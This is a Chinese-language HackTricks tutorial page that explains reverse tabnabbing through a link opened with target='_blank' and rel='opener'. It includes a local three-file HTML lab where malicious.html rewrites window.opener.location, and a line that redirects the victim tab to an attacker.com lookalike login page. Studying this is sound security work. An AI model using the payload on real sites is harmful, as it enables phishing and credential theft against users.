mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
117 lines
6.4 KiB
Markdown
117 lines
6.4 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
# 描述
|
||
|
||
在一个**攻击者**可以**控制**一个将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下,**攻击者**将此**链接**指向一个由他控制的网站(一个**恶意**的**网站**)。然后,一旦受害者点击链接并访问攻击者的网站,这个**恶意**的**网站**将能够通过javascript对象**`window.opener`**来**控制**原始**页面**。\
|
||
如果页面没有**`rel="opener"`但包含`target="_blank"`且没有`rel="noopener"`**,它也可能存在漏洞。
|
||
|
||
滥用这种行为的常见方法是通过`window.opener.location = https://attacker.com/victim.html`将原始网页的位置更改为由攻击者控制的网页,该网页**看起来像原始网页**,因此可以**模仿**原始网站的**登录**表单并向用户索取凭据。
|
||
|
||
然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**(也许修改javascript事件以将信息外泄到由他控制的服务器?)
|
||
|
||
# 概述
|
||
|
||
## 带有后向链接
|
||
|
||
当未使用预防属性时,父页面和子页面之间的链接:
|
||
|
||
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
|
||
|
||
## 没有后向链接
|
||
|
||
当使用预防属性时,父页面和子页面之间的链接:
|
||
|
||
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
|
||
|
||
## 示例 <a href="#examples" id="examples"></a>
|
||
|
||
在一个文件夹中创建以下页面,并使用`python3 -m http.server`运行一个Web服务器\
|
||
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html,**点击**链接并注意**原始**网站的**URL**如何**改变**。
|
||
|
||
{% code title="vulnerable.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% code title="malicious.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% code title="malicious_redir.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
在**跨域**(跨域名)访问的情况下,恶意网站只能访问以下属性,这些属性来自于**opener** JavaScript对象引用(实际上是对**window** JavaScript类实例的引用):
|
||
|
||
* `opener.closed`:返回一个布尔值,指示窗口是否已关闭。
|
||
* `opener.frames`:返回当前窗口中的所有iframe元素。
|
||
* `opener.length`:返回当前窗口中iframe元素的数量。
|
||
* `opener.opener`:返回创建该窗口的窗口的引用。
|
||
* `opener.parent`:返回当前窗口的父窗口。
|
||
* `opener.self`:返回当前窗口。
|
||
* `opener.top`:返回最顶层的浏览器窗口。
|
||
|
||
如果域名相同,则恶意网站可以访问由[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性。
|
||
|
||
# 预防措施
|
||
|
||
预防信息已记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)中。
|
||
|
||
# 参考资料
|
||
|
||
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|